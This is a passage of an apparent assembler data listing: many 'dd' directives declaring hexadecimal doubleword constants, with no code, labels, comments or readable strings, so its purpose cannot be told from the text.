92B52833h dd 412C5EDAh, 60FF2193h, 0D200BEFEh, 3E8F0B6Fh, 0E0D63867h dd 0EEB00778h, 1B5B5FE6h, 0B0690D5h, 3065219Dh, 0BF0396DDh dd 0BF601220h, 24481798h, 0F8636567h, 5F2C25E9h, 852E3616h dd 0C0A8B63Ch, 808ABB05h, 0B5390996h, 2F9329A0h, 3CD1049h dd 1F6115E4h, 0BB043F0Bh, 0A2AC2AD5h, 0D2B5E1D3h, 540EBAFFh dd 4DEE400Ah, 209D132Eh, 2DD886ABh, 9F5D259Bh, 0CAA6A966h dd 7243AA00h, 2721AB47h, 5EA7009Ch, 0E32A333Bh, 0BB0066ECh dd 965B8456h, 0F050DA8Bh, 79527A98h, 0B760FA6Fh, 422BC619h dd 610531A5h, 23406EAAh, 37C0217h, 105F7B87h, 15174E2h dd 86E7D5C5h, 0E4DD975Bh, 0DC4B1194h, 2539CA14h, 0E9996C5Fh dd 443BC910h, 0BD67A902h, 5D90E018h, 0DDFA225Bh, 95895921h dd 45F5C2C5h, 0A7CDA5C5h, 6BC0E540h, 42330573h, 0BB491ECAh dd 3F619B21h, 12106020h, 0BEB1DE5Fh, 5860A049h, 4C7B97DFh dd 0EDBB8D8h, 3F9C1FC6h, 1388FB97h, 862A3C2Ch, 4F01AF8Fh dd 4B9B53E0h, 1F00EC90h, 95D0D9A2h, 170F8DDBh, 0EA61F2B7h dd 645E5D6Bh, 7390EEC4h, 9791EFAh, 8BC983FFh, 772F927Fh dd 0D4A6343h, 1FA62DC4h, 9576E3E2h, 0FE08BB0Bh, 0BB8896F2h dd 27E1CDCh, 1B94D664h, 70519754h, 0A1DB2900h, 709D4901h dd 91897ADh, 31EE0960h, 8B40A1B7h, 6B2E61FAh, 1C230Eh dd 0F24B6D79h, 0B902E26Eh, 0DF80CB43h, 5C7411Dh, 0FF4BBB10h dd 0FF75B225h, 6F856CB7h, 9F82982Dh, 9B53555Dh, 47CE7Ah dd 86BE5F30h, 800668BCh, 0E9B01B08h, 40769D0Fh, 16695CC2h dd 0FD005449h, 0C7382E90h, 1731C1FFh, 0B623199Dh, 3019F2E8h dd 0A709B1F3h, 2DAB35Dh, 752BF95Ch, 504FA7C4h, 5420C8h dd 3F4746D0h, 1782511Bh, 8F696D26h, 72DCAD3Eh, 56ED95CBh dd 0BB918BC1h, 0FD89FD3Fh, 8B07FA2Ah, 0E994BF66h, 0AD4B75AEh dd 2A3A833h, 0C2D7DB87h, 0BD5CDD8Ah, 84C32B51h, 2AF026E6h dd 760AF243h, 0A1D88B50h, 1610F0ADh, 0AF7EB2F4h, 0F48F542Ah dd 0C5275060h, 5B9D992Bh, 181B597Dh, 971C0E38h, 84249964h dd 4947C27Eh, 0C5B534F0h, 78D050B6h, 37616001h, 5753D9B6h dd 6F81EA38h, 0C03319A0h, 5F4B5BFFh, 6F2DC19Dh, 0FB26ADA8h dd 4B60F0F6h, 126A604h, 39180C72h, 0C0AA6988h, 9F02508Ch dd 0CCE34AF7h, 0BAC07F4Ch, 2125BD89h, 0CB337131h, 762D93F6h dd 7D95DE3Ch, 0EE7C320Bh, 7139BC09h, 0F86089EAh, 46406EFEh dd 3821E2h, 704EC4C0h, 0C661965Dh, 0B33BD9Fh, 0BF5550FAh dd 60181296h, 0AD6136EFh, 29259C02h, 0F530D59Dh, 5E0297CCh dd 5558F73Dh, 3BDD40EBh, 4A2BFEB9h, 0BF9BBAF3h, 10B21FC7h dd 62D159C7h, 148A0F16h, 5C01ABDh, 7C795DE5h, 9DEFBD05h dd 0B1BFB589h, 0B9A13F9Eh, 22F6E7Eh, 0DC68C263h, 33F1DF39h dd 9DCF8E90h, 500415E8h, 0D2B176B3h, 0E21CF63Ah, 0ACD2C0EDh dd 0CD4F047Fh, 0B96957B6h, 0F60BE857h, 37B50079h, 73ADCEAAh dd 0FD174FBFh, 12035826h, 0B4A3ACCCh, 812ADEFEh, 3C5073BAh dd 14498DD4h, 898F06F1h, 4C229910h, 9E3028E4h, 0C1DDD12h dd 9613F07Ah, 2D46A8B8h, 750EDA6Dh, 7892BBC0h, 5F1CBF10h dd 9052366Dh, 48000EE2h dd 9829FE73h, 9F0074DEh, 2CA1AC8Bh, 4B0337A4h, 1F342010h dd 7F60850h, 1C94F100h, 0D40BA653h, 57252D51h, 8F079BDDh dd 3190489h, 242BE852h, 9DE4990h, 0C1C76A5Eh, 12890C28h dd 8B5DBC31h, 2F32D7B7h, 55EB205Ch, 0A705B0B5h, 69CC14AEh dd 491A0083h, 38450480h, 2E024024h, 0AAA51868h, 517B5D14h dd 8870DF7Ah, 451A1497h, 0E5506028h, 26A4517h, 8EE9E212h dd 517F1D7Bh, 390936Dh, 50F2E83Ah, 4A482E18h, 2EEF8114h dd 0C1B29AA8h, 3A8CE9F5h, 0E789FEB3h, 37D75609h, 4B4F8CE7h dd 0B650D175h, 2C5B49D1h, 0F28057DEh, 0BB4078B0h, 24EF110Bh dd 98CDDF07h, 0B7601945h, 20378B9h, 52D9FEA3h, 50D58589h dd 8A57A8FBh, 78BF8805h, 70771C12h, 57E7BEBh, 64B98D33h dd 0A8BF8D02h, 538EE012h, 6F4E2547h, 0F2F03ECh, 801BC489h dd 5653144h, 0F047710h, 5B16098Fh, 0C22F157Bh, 89DBF7BBh dd 0B5B4E8FBh, 0DA0A1284h, 31FD0BB0h, 6A3090F5h, 0A75EB7FFh dd 78DC00DCh, 89A7D3CCh, 0A7C9C195h, 767B0929h, 12DD42F6h dd 0CD0055Bh, 0A392019Bh, 0B5018DFFh, 0DAAE753Dh, 233290D5h dd 1A8125BDh, 211187E5h, 2E07FA53h, 30CD0322h, 0B578AB60h dd 0EE04C4E8h, 0B04BEBB2h, 2D0B04AEh, 70E6070Ch, 0F6485789h dd 30971E4h, 552A4D9Dh, 13EDB599h, 4BE5F329h, 0B886842Dh dd 5FD103Eh, 11FF5B2Dh, 640887Ah, 9DE58529h, 81827D56h dd 6289A3E3h, 27855CC7h, 508217D1h, 501D8D01h, 0C45F4B99h dd 4F20AE91h, 995B527h, 0C82B836Eh, 4FBC4851h, 0D1C9DDACh dd 16B0BAAFh, 0FFC8AE9h, 55A0E0D2h, 38494734h, 5B8FA3EAh dd 0E7473920h, 546201A8h, 1E9EBB5Ch, 2E82C8F5h, 7E459A03h dd 70F34435h, 8BB0536h, 0EF7843AAh, 8A69E0E6h, 81F8CE5Ah dd 5550F39Ch, 0A3D407CDh, 0C4BB4559h, 79F84933h, 9D0B8EB2h dd 60716E2h, 81141D19h, 6B2719B6h, 0F93F478Ah, 49099522h dd 0FFC4B756h, 16134AECh, 88FE0B9Dh, 253D1202h, 3A380BEAh dd 54404h, 89C0D317h, 0CE1A36C7h, 3465DD05h, 15F06845h dd 0F96EC560h, 679CFE1Ch, 0F1D80281h, 6151CD8Dh, 5008C5F5h dd 4E03ECB1h, 89B513A8h, 0F53A0A2h, 0FE749D87h, 379AB0E0h dd 0A48000A9h, 5FA2513Bh, 0F4EC3B9h, 4EA020A7h, 30AFE78h dd 0CA1A65BDh, 99BAFC44h, 0CEFD2B66h, 0D8BF1A60h, 0CD95C02Bh dd 9DA0CF2Bh, 576C929Ah, 0F5B54F05h, 1EB8D22Bh, 7314F080h dd 75008E8Ah, 0C1B25C3Dh, 4FADF2Eh, 0A0C51A07h, 0DFDAAA9Fh dd 4A000922h, 7DB189C2h, 5D61F9D9h, 0C4BD15CEh, 524A40D8h dd 0C9CEEDE9h, 0D8AF4AF0h, 0D772F742h, 0BDD59997h, 0E27A18C5h dd 0D5AA974Eh, 0BFB6BF47h, 137E6A4h, 0B16D2F33h, 0D741F599h dd 0B22A0609h, 8C17FCB4h, 64566509h, 284C5D2Eh, 0B02D2520h dd 0DFFD2589h, 0DD2DC3B7h, 0B204A41Ah, 0BBC85219h, 52CC00C9h dd 2B24F137h, 0E000F81Eh, 3D61E6B0h, 132A3F10h, 0A2AB86B7h dd 17B58E35h, 0E7E8E1E9h, 0A3163305h, 0EEE8F823h, 227B262Dh dd 92455827h, 9E5BBDC6h, 1D3535Ah, 0A65AF135h, 33FD6B2Ch dd 73046858h, 0E23259FEh, 0AE2800E9h, 247A13F7h, 0B848053Ah dd 0E9E1FF83h, 77B8E4h, 0F713229Eh, 0D62C0B5Eh, 0A613F895h dd 506307B2h, 0B1E62BCCh, 6E302468h, 0C92987CCh, 91D125FCh dd 0A14091CFh, 8E1C4EDDh, 0F62D2D8Bh, 1013F6E4h, 70A0B6C6h dd 0EB07D2D0h, 0C43A908Ah, 3FC67A5Ah, 28B780F2h, 0B509F98Ah dd 0A8334E01h, 0A55D8878h, 1211AFE3h, 0BF091255h, 99D06D29h dd 0D1D78102h, 746E8DE4h, 655AAC7Eh, 0AA0AC495h, 0A9E55AB6h dd 0A3BB92D2h, 46FC2733h, 0C88B5E8Eh, 0C09D804Bh, 0B761B7DAh dd 9FF4AA74h, 0EC89F27Ch, 202056A2h, 9503E2FBh, 806C3DF7h dd 7D9D9930h, 0C730076Dh, 68D95CD4h, 0B3F717FEh, 4E8CBF01h dd 3E247A34h, 0BF82ACF4h, 556D3B23h, 0F564695Ch, 0A04D8AEBh dd 0A97BE7Eh, 0C51B13C6h, 0DD9915A8h, 0AE36E916h, 0A4DBD320h dd 911B9D47h, 73DABE25h, 6EE225ABh, 7881DBFDh, 1029261h dd 0E50CF554h, 9F663Eh, 7BEB821Dh, 0C0CD8996h, 8E71C301h dd 2E9ECBB2h, 2CE61BC8h, 976182Ah, 45F50139h, 9FCD2720h dd 0FFE6D640h, 88989789h, 1400CC0Bh, 19E20E3Fh, 9D1F4Dh dd 56116E93h, 0D1F01068h, 947CBB49h, 10E84B8Eh, 8D6EF7A0h dd 23A4604h, 42AE5A64h, 2CE1BDB2h, 0B022BF20h, 50242733h dd 463F29C4h, 6E7BF778h, 0B568A11Fh, 6B7BCEC4h, 0DFAE1682h dd 0BCE0D64Dh, 3AA7CC8Ch, 9889488Eh, 0E60250EBh, 0D5091BF9h dd 850FE730h, 53B97CB5h, 0FB21C234h, 0CF5A4Fh, 0C3386A99h dd 0F7A45AA9h, 0D6F24A95h, 0E8B4B384h, 8A8D4B2Bh, 31859947h dd 5A268CEBh, 0BCB8585Eh, 287E17D6h, 7E000247h, 1B55C854h dd 970DC037h, 7D25C945h, 0F7042EEFh, 67B0EEE1h, 6E585B5Bh dd 6618000Ch, 0EA3CA96Bh, 0ABEC10BCh, 314A7914h, 5E00EFE6h dd 9E573523h, 1A25E002h, 9FEED7C8h, 5CD22625h, 29EFCE48h dd 7231EE73h, 0EC2F87B4h, 0F38BA0A5h, 67D1BF61h, 0EB9A6C83h dd 90B0F833h, 0F37E07DBh, 795FF2AAh, 91C0D94Dh, 1033BFFEh dd 5B23659Dh, 7431B4C2h, 0E3B3E1D1h, 70572861h, 9771CE9Fh dd 0E9BBBC9Eh, 2C59C50h, 8161C232h, 0F75EE85Bh, 65631351h dd 2CD910h, 0B052CB81h, 0A4E90FADh, 13B32DE9h, 2FDD7479h dd 0E40916Dh, 2BCF584h, 9D2985E1h, 0C7D52E95h, 143B11BBh dd 0B3A9F98Bh, 0B11F5E2Ch, 7BDF31F1h, 898427EDh, 128BAB03h dd 80A99A4Bh, 0C48F71D2h, 0C18C02BFh, 0EAB3E540h, 1B43CDDEh dd 2158C89Bh, 0BB273896h, 0C5CBEF80h, 9589F0F7h, 9723DD22h dd 7DB71A98h, 0C5252978h, 6B5B791Eh, 47C64DDFh, 23E3D2C5h dd 326A7C41h, 5851177h, 0C8E6BF0Eh, 9FF85C6Bh, 0FC3BFA41h dd 251948F3h, 44305917h, 7CB44012h, 0F63BA3AEh, 6BF42E21h dd 0E0DC008Eh, 9B438974h, 79541B69h, 0BB6682A1h, 5B7D4E6Ch dd 5FA8F857h, 0BFB9265Ah, 209B1BACh, 84649405h, 2FC0A5ABh dd 70AB7D12h, 0F37F800Fh, 6145503h, 9A0D4774h, 96FA64C4h dd 0BD752F65h, 3ADF037Bh, 31DA51F1h, 4E55EDC2h, 2E4DB5C2h dd 0F1D0EC47h, 0BD3A747Bh, 3D5745C2h, 997B8163h, 3FF98E46h dd 0BECDC394h, 8A2CAA2Bh, 0FD1E0916h, 63D15762h, 87D78180h dd 9D3BF61Ah, 0FD7C5E0Bh, 93405F6h, 2508C5BDh, 665560BDh dd 0E65AD2BFh, 112FD9E7h, 0A8572BC2h, 0B5DE89DFh, 1113F3E6h dd 3D8875EEh, 1187185h, 7D1CBE35h, 2FDB6C56h, 1B23426Bh dd 0E3136E00h, 25F4C767h, 0CBEEE4A1h, 0B3E86287h, 7E6A2F00h dd 4897A40Ch, 0BEC3EF5Ch, 0C6CA1114h, 932E77Dh, 0E4794237h dd 7BBE5244h, 0C92203FDh, 0E033D549h, 989938C0h, 0A00B1C60h dd 227EED1Dh, 30BFFB93h, 36B3F95Eh, 9C9D1E00h, 82F52A35h dd 0DCCC0453h, 0FA4B967Dh, 52EC4C35h, 0EC755FC9h, 0EBF6B5A8h dd 2FE8F969h, 0A63CA0FFh, 7CD448h, 8267384Eh, 0E6EFE05Dh dd 0D74BB0B6h, 0C9557C32h, 2A2F5FDDh, 806D80EAh, 2CC78BB8h dd 13241C98h, 0EAAA5231h, 0F692BDDAh, 4D3F0047h, 96DF3A75h dd 0CACB4B85h, 5E6C25C4h, 0C800F685h, 0AFB719DCh, 14BE4DFEh dd 0BA501664h, 305FDB13h, 39A79D25h, 950B6D07h, 0A23051E4h dd 98C64727h, 0F6EB5AE4h, 301BB236h, 20025E8Ah, 790EE4ACh dd 0BCF9248Fh, 0CF81B5D3h, 0E9010B69h, 0DEB12AC0h, 8BC4817Ch dd 356EAFC1h, 302B3602h dd 91C29BA9h, 0C001CA70h, 0A51683BEh, 0C82B6126h, 0D50051BFh dd 421BFA4Bh, 0B09EDEA2h, 30D29F9Fh, 0C0815806h, 5A9366E1h dd 0B2CFD95h, 90199668h, 2F9FF68Bh, 174C5B9Eh, 0A9323866h dd 0F78104E7h, 0A892F6B0h, 1021182Bh, 17FC719h, 297C1F36h dd 82D918Dh, 0E6F51FA3h, 0A1D52D67h, 8FF95733h, 522DC2Ch dd 15DE84C6h, 3EE80508h, 66F713Bh, 4F2601F5h, 193AC031h dd 5C98589h, 0D7E21D05h, 47DC4A6h, 31575CBh, 0C86B2228h dd 176A37Eh, 7B256E1Ch, 0C91E109Fh, 93F6D4B1h, 48D12200h dd 8CD3A99Ch, 542803B5h, 0A31BCCD5h, 6E084074h, 324111C1h dd 0C807610h, 0B3DEB7DDh, 6DF87BF0h, 54E9CC07h, 0A123D89Bh dd 5D311E40h, 5158407Ch, 9E56E955h, 1868EF31h, 999D96A1h dd 305E1AB4h, 39073F63h, 0A1116AD9h, 22921550h, 0A4E51F51h dd 0D2DE2Bh, 0B44BC3A5h, 0A8005423h, 9FD76CD8h, 775535E5h dd 0B113612Fh, 0D9169EA6h, 912088ECh, 7D3F3Eh, 0FD1DAA56h dd 7F6D2DB4h, 0D9C0DD7Ch, 52E0EE25h, 0A19F604Ah, 0E9AA7D8h dd 379D9B06h, 0F1296872h, 0BFDA2086h, 0D5F2ACDCh, 0E150A06Ch dd 0E3CF8B8Ch, 0C813069Bh, 0C0ECA95h, 0D16B61C8h, 1881107Bh dd 986AAFDBh, 0EC3B6058h, 8CFF87Ah, 383186D7h, 0EF160EB8h dd 4ACB97DBh, 1CF14F01h, 836FD983h, 11798B91h, 0B28890C7h dd 60E8342Eh, 0AC640708h, 177BE071h, 1960ABD9h, 0A997D778h dd 51556437h, 1175609Fh, 8C68E4DBh, 7EA88244h, 64E3006Dh dd 0EDA967B0h, 2C7B4355h, 54D92A3Ah, 0EC4C28A8h, 0DF8C419Ah dd 33D167E0h, 0E3C570C3h, 22C0A7D3h, 0C0CE1554h, 6C68CB58h dd 41C02176h, 87DFC005h, 40D406ABh, 8ACA252h, 0E2211F60h dd 7EBCDFD9h, 4050DBB4h, 91245055h, 0C4807051h, 0F4AB8BDFh dd 0EE11448Ch, 5DFDD12h, 9200681Dh, 799DF2EBh, 1BE20482h dd 90B60323h, 6FB53D3Ch, 0C31AF0C1h, 78836943h, 0B862ACFh dd 52FC4000h, 6D1CF668h, 4D692A9Fh, 79DC03E4h, 0E599803Eh dd 1705C5D8h, 2D462400h, 8E954D28h, 618300B7h, 0DE5DF5ACh dd 947463AFh, 0B1D95604h, 3B80917Eh, 0E0042EECh, 258A0044h dd 0A1E93536h, 90009BDEh, 0BEE27207h, 0FA956Eh, 0C123D5FDh dd 0E791EE7Ah, 0A0B93Fh, 733BE221h, 3A1EAF9Fh, 0EC03196Bh dd 8CA8959Bh, 81AF83ABh, 0F46A973Dh, 891F5CD5h, 0FE0EF5E0h dd 9022C074h, 5FB738h, 41D5AEEDh, 0CF82F499h, 7868500h dd 0B598F9B3h, 698800D2h, 426CAE80h, 4D002A54h, 0CCA260E4h dd 797C27Dh, 3DAB77D8h, 0F96CC139h, 896AD051h, 417DD701h dd 0A81F0792h, 8B2800D3h, 22969BCDh, 7B19B4E9h, 9F08D12Ah dd 0C5542187h, 44AAC09Bh, 0F003DE2Fh, 0C2A11EA9h, 89690F9Fh dd 0B7C0A570h, 8FE82350h, 0EC3F3E00h, 96FC9738h, 4F78C694h dd 0D41D30FEh, 0FC3DF117h, 0F29241C7h, 0DB7A59C1h, 91B81181h dd 0FF51C8E8h, 0BBF396EBh, 21C10830h, 0E8A91Ah, 8F37C80Ah dd 0FEE2CC27h, 7ED33B00h, 20246D95h, 6D6EA79h, 70C0AB81h dd 0D800387Ah, 2515057h, 3CB647E0h, 8E6F8D4h, 0B900216Bh dd 0F74F5159h, 145FA0E0h, 9C93CAECh, 0CCC50688h, 0E122EE05h dd 22919C62h, 9C00C455h, 683B158h, 0E4CF6447h, 0C32A2190h dd 4008081h, 54808396h, 0EA36EFh, 5B0EB523h, 0C0F4A302h dd 0F593E03h, 0C034CE5h, 78446DD0h, 0EB75E2E1h, 0EEDA6400h dd 9C9B6768h, 0D27A000Bh, 6AD1C061h, 57EA7C14h, 1F255500h dd 0F728A3AFh, 0A2EF00A5h, 7FCC6798h, 0C20022CFh, 0D0FF3A2Dh dd 0B6650F3h, 6FA0BEE1h, 0F034D000h, 0D700D69Eh, 683CFCCCh dd 0C5EA0Fh, 0C498F58Ah, 15E18782h, 4100E877h, 0B4A7387Eh dd 51AFF8h, 17C0BDDAh, 202BBF6Bh, 6C492500h, 7AF71E0Fh dd 0E8D67845h, 0ACFC3EBCh, 78B0073h, 0D9E69323h, 38EAA1BDh dd 0D3416300h, 0D03AEBACh, 17433875h, 0A0943B80h, 0B83F99F4h dd 30981C3Ah, 2F7E212Ch, 5997003Bh, 32B464F3h, 11000CC7h dd 43677858h, 3D1AD037h, 0E980131Ch, 7CDA5ECCh, 0A80E907Eh dd 0A0A2853Fh, 3D7808FAh, 0BA370093h, 3E327A35h, 6E0075DEh dd 8E365320h, 67FDF21h, 0A5E84B43h, 0D183890h, 0CA883B40h dd 802500BCh, 16453D3Ch, 0D9018AF1h, 2BEAF47Fh, 2DD4C0ACh dd 0D020C062h, 23674CC9h, 84200C53h, 446187E2h, 0D090B0BFh dd 67A6E659h, 81699003h, 80405C22h, 512375E8h, 6CAD392h dd 0C279BC6Bh, 4E60087Bh, 93698121h, 302500E5h, 94C8355Bh dd 78C07D39h, 261BE1FEh, 0AB54024Fh, 0ECF9C73Bh, 2068C4ACh dd 926F048Ch, 627BCAADh, 6783205Ah, 0D870D293h, 6A3B54ECh dd 2EFE8C57h, 18CAB806h, 7897018Ch, 0B60EF8F1h, 0E87CB964h dd 212C1D37h, 52872311h, 53CAD192h, 88570CBFh, 93036A80h dd 0E7F80E9Ch, 8C880B5h, 8C4A0C63h, 5A706561h, 0A1EA4D0Ah dd 0A38A8D3h, 0F81D066Dh, 1E01371Eh, 0A2447BD0h, 10B9B848h dd 13A36h, 0C5D8BCC6h, 3DFA3D49h, 49E19375h, 0C0ADB037h dd 0B90C586Fh, 9513B1Fh, 1021C7EEh, 20C00FA4h, 29944A49h dd 7C7891C4h, 1A705497h, 6388223Ah, 4B5C08DBh, 8B4CD900h dd 0D5E5CD96h, 99F80282h, 13771650h, 18A89841h, 983B0E2Bh dd 0C87014A0h, 237A802Fh, 6E3CD93Bh, 26A01806h, 17817D51h dd 7F1FAD5h, 5001ABCAh, 5C2603FEh, 83212F69h, 8E7868D6h dd 9A950011h, 87FD29FAh, 7FECDC1Bh, 219608CCh, 927ABAh dd 9EAD56C9h, 0A4259718h, 0EA755E7Ch, 117F91C0h, 0ADABD3h dd 311A5158h, 5BE79F01h, 5E05701h, 5DACC8B8h, 31648BD0h dd 26390BBEh, 81AC5758h, 0CC4FC2DFh, 0B0CE417Bh, 6788905Fh dd 28FA9BC0h, 227F46FDh, 0F4B57593h, 593B00EDh, 0AFCC109h dd 8D02505Dh, 0FEC657D7h, 2AC8A392h, 809EDABCh, 41CD50E0h dd 0FEC71ADFh, 0CC9D2182h, 9805A11h, 0EE73E027h, 66B7E70Ch dd 1908F818h, 6082437Eh, 9FC81352h, 203FE182h, 33F8F65Dh dd 0D55FEA14h, 0F53E8Ch, 507D427Ah, 76A4B027h, 2173005Dh dd 36FAE3DEh, 0BD240BA0h, 0BE09B126h, 0F4BC02F7h, 0BC420038h dd 0E0C0913Dh, 745D8D51h, 0F88C90D2h, 30FE88C8h, 5101CAE4h dd 0B45D3DCDh, 0C04279D4h, 18971A9Fh, 18296F2Ch, 0B2532980h dd 50FFC776h, 7EEF7841h, 933B12FEh, 4D0404F0h, 6DA201D3h dd 0E0205396h, 397B19F5h, 155D2078h, 0C0AE9008h, 0A0963B15h dd 9199E421h, 2D7C0013h, 7FCFA83Bh, 1167448h, 0A28D07A9h dd 0AA3C3635h, 0D1243868h, 5D089075h, 0D6E08785h, 6481E93Ch dd 0A47A33C0h, 8E111418h, 5402D68Eh, 0EF31C158h, 0C0A91D11h dd 200260B7h, 645A0FFh, 50641Eh, 0C3F7D138h, 0BEE6D6F9h dd 62323F70h, 30ABE83Dh, 99133B2Ah, 4382CA0h, 3B220079h dd 7C5797FEh, 48006E2Ah, 0C1EFB14Ch, 4CE7F4D0h, 81800C79h dd 0BFDBDF85h, 3B426CE4h, 0FA005D22h, 0BC872212h, 0F9C8B754h dd 40061420h, 7CF65174h, 0DB02401Fh, 0D4A18E0Ah, 67033C01h dd 91B872BEh, 5BD25D0Ah, 23804EE4h, 0D137BF67h, 2AF4684h dd 0A0953B16h, 1470910Ch, 3B2E7D10h, 79CA9000h, 9D8DF8C6h dd 3CAF0209h, 3EE2365Bh, 0B083E862h, 9BDE4C8h, 7499F5E4h dd 8991869h, 8FFD2AFAh, 34269C2h, 22D091BBh, 3D247BF4h dd 511040F8h, 18C2BFCh, 245BCF78h, 7591A4C8h, 7B80400Ch dd 9E507722h, 7540B9B0h, 13DE762Fh, 1AD0E27Fh, 0C677900h dd 79602D44h, 832918BEh dd 2CD1B803h, 465C5818h, 63CB3BC4h, 0F0365D19h, 3AFE6877h dd 2B135537h, 39A004D5h, 88790581h, 125DB44Fh, 523BF840h dd 0F3A34060h, 35994DE8h, 8F1D18Fh, 0D4C78CA8h, 0F1585601h dd 0D38BED18h, 0F0BD83AFh, 6909F4h, 6EB8DF60h, 5D63A5CAh dd 783B4973h, 6AFC5058h, 0FA98058Ch, 8E97FD2Bh, 90B81E18h dd 0A4E5BC80h, 4020A08h, 9A5D3870h, 0E064874Ch, 0DDD594F0h dd 35A41E03h, 0E0233334h, 7FC6E6h, 8F3D61CEh, 4E5DAEB3h dd 0C22090B8h, 0E628033Eh, 8414291h, 0BA0B25C0h, 8A799F07h dd 0AEE1814Ch, 4083CC65h, 2DDE45A4h, 4805800h, 0F07E79BAh dd 0E328049Bh, 0C0D6A8B6h, 64902248h, 9C57BF2Ah, 2A366DF0h dd 450A829h, 3D7F058Bh, 48BCC76Ah, 443A84ACh, 680C582Bh dd 5810EB89h, 0C539122Fh, 0B70079D4h, 0FB93F204h, 866F22h dd 3A6C82B3h, 485D3759h, 56CABF05h, 908E5F76h, 82C04F88h dd 1FE1DB0h, 0C37709E0h, 40122AE6h, 59F7C898h, 26A60E18h dd 25F4C010h, 0B8008AD1h, 35BA4ACEh, 0F049AE30h, 31106F75h dd 4838AB20h, 0E2A46478h, 0B1B4BE14h, 55A40098h, 0DE20AFD2h dd 52100174h, 6CB6FB2Bh, 372081DAh, 6A926F0Ch, 7311204Fh dd 43C282B3h, 27304C6Ch, 1AF8FA96h, 0BE0F30A7h, 6881408Eh dd 2CACCCC6h, 8082580h, 58281D5Eh, 8716D46h, 6FFD16FAh dd 0F42E8CEh, 0FB418DBFh, 3020620Ch, 0E08130B8h, 12B2F823h dd 8A8AC032h, 7BDB07D4h, 36353CCh, 0A13C426Dh, 0F05800DAh dd 76E5A40h, 44E6A6h, 4A87A01Fh, 4B64CA23h, 17A0D358h dd 0E821C104h, 98D36A9Eh, 0A01386FEh, 5F90E8h, 0BA0CDEA7h dd 29E60E77h, 7688C894h, 25123EF1h, 78C70ACAh, 365303FCh dd 282609BAh, 9211F043h, 0F1129C4Ch, 67A000CFh, 0EA7FE45h dd 937FC401h, 40C66D36h, 8C42C08Bh, 903CE891h, 496B728h dd 802C01A8h, 0ACF4A5BCh, 3682D4Dh, 0BB4435DBh, 1CD143C9h dd 264A1E58h, 9200C008h, 203D478Ch, 0A0F3BEE1h, 24EE774Ch dd 8C6815B2h, 0F3B8C4FBh, 4061C485h, 0AA64A28Eh, 2E69008Ch dd 0C33F76E3h, 3954EA35h, 8C9877E4h, 0C7373403h, 0C836EEFEh dd 6E03074h, 0C04BF65Bh, 0C307B1BAh, 502EC92Bh, 80A23370h dd 0C9374A7h, 21B8A892h, 0CC99C051h, 85588F01h, 243076BAh dd 748C00BEh, 7B2B36F4h, 1E0C6F0Bh, 78F748BCh, 0F8C88805h dd 94D21602h, 413B9850h, 0A9F945ACh, 0A4C6E982h, 98808D97h dd 1D308E48h, 17C684Ch, 327B79F8h, 0BF70A03Eh, 0A2DC2CFEh dd 79821894h, 14280E45h, 7644240Fh, 0C02438BBh, 0BE0DD87h dd 3EC11CDFh, 69940900h, 26311E28h, 9574164Fh, 0CC4006Ah dd 0C2D4B920h, 0AD40FD7Fh, 0CEE30921h, 80EB10h, 0CC0D4B56h dd 0FABEEC00h, 2E519BF3h, 5E26111Dh, 0B6E00E7Fh, 36307838h dd 9A4E02CEh, 41BA35A0h, 4BF220C8h, 0A26822C7h, 3C0207DFh dd 0DF2BD171h, 0CD005039h, 0F509A536h, 9474C811h, 3C446A48h dd 0F7EA8017h, 0C092D278h, 8A31C0D8h, 176C5FA8h, 0DC4EA102h dd 483E5D21h, 7BDB218h, 0A606FDF5h, 0C093C9DEh, 9576087h dd 4E019BC6h, 3EE3F62Dh, 0E0DF3BB7h, 3950B6Ch, 0ACC80752h dd 81017CCDh, 5938E5FBh, 40FA76FEh, 18658564h, 59455C06h dd 533F02CCh, 442800AEh, 0D56604E8h, 98BB750Bh, 521506F4h dd 31425D50h, 14FFE881h, 0A44074C4h, 9B8CDE06h, 0C1640140h dd 4C0C6A0Dh, 68468001h, 0E263FC95h, 89F0C91h, 540899C7h dd 9C8721C0h, 3D883FCh, 524AFDA5h, 0E480F470h, 9E03A6C8h dd 47545B4Dh, 0AED08932h, 79C3D1C4h, 0F39C0C92h, 0A4484809h dd 5D1AAF00h, 0BF39A333h, 898E38Bh, 0B7CB219Ch, 80111A3Fh dd 4C2F852Eh, 203F5E4Bh, 0DB0E4AE4h, 20ADECD3h, 77E6DA4Eh dd 0B9460F82h, 9A0E6504h, 472C4898h, 883AD630h, 0C6B51A5Fh dd 21D4E418h, 87DB1F00h, 30A98C7Bh, 499D0180h, 0CF06D2BCh dd 74508248h, 27BEE4BDh, 0E056029h, 0E21966F0h, 0ABD89F59h dd 1A089618h, 0C4DB3340h, 0BD6E409Eh, 0AF81Ah, 0F13A6730h dd 0BAB2312h, 0A139A402h, 8047CBB5h, 6C448B4h, 889A6537h dd 68D4045Ch, 0FCAF300Bh, 81E22365h, 0E7C08h, 0C3FC968Dh dd 0C278C897h, 443CCCA0h, 0BB738303h, 2E5D5F7Ah, 0EA6169h dd 0A76FC491h, 7F3A8C4Ch, 215430A8h, 49654Fh, 0A226766Ch dd 0F53AAA09h, 0F288B00h, 144C719Eh, 50D2F0F9h, 8C9F88D3h dd 5C3B1AF2h, 80F45333h, 681ABACAh, 138F0340h, 5BE4B5A6h dd 0DDD27900h, 6DD00E41h, 70AE78CAh, 0C8E21D93h, 59D0F086h dd 370EF28Bh, 0D1CCB5B8h, 0B3FADA03h, 4F534C8h, 0BA07A8h dd 0E402547Bh, 0A891F14Ch, 1A9187AAh, 319333A2h, 0B9C9109Dh dd 0F876001Ah, 0E53ACD07h, 0F40029B1h, 3F1949A7h, 6D24E4Bh dd 47798FE6h, 0DD0198B9h, 5EE1C994h, 0CEF883Eh, 55C7B548h dd 0AB49F9A9h, 0E919002Ch, 0FC8612BFh, 234D00B5h, 0A4662094h dd 27000D84h, 0C4956569h, 0C16A2F56h, 0C9E63760h, 67802096h dd 0E85EBB2Bh, 3049410Ch, 0E8A8534Fh, 9B396222h, 86EA8069h dd 37D103ABh, 425118A0h, 8145216Ah, 193EB160h, 95D40ECh dd 6CEDE3FBh, 869ADA00h, 44913CDBh, 5EE09702h, 0B8C881B4h dd 83DE42EBh, 0F043C770h, 0DCA721h, 839F5F7Fh, 6B33BA3Eh dd 69466890h, 9FCA012h, 683189ACh, 8E218051h, 65AFFC97h dd 13FDA023h, 0B5E412E3h, 449820E6h, 9840FF0Eh, 2E760037h dd 0D04EB07Dh, 0F33E8D56h, 0DB3C0051h, 990B25DAh, 0A31230D8h dd 0AF5B4B8h, 3EFC4EDFh, 20890011h, 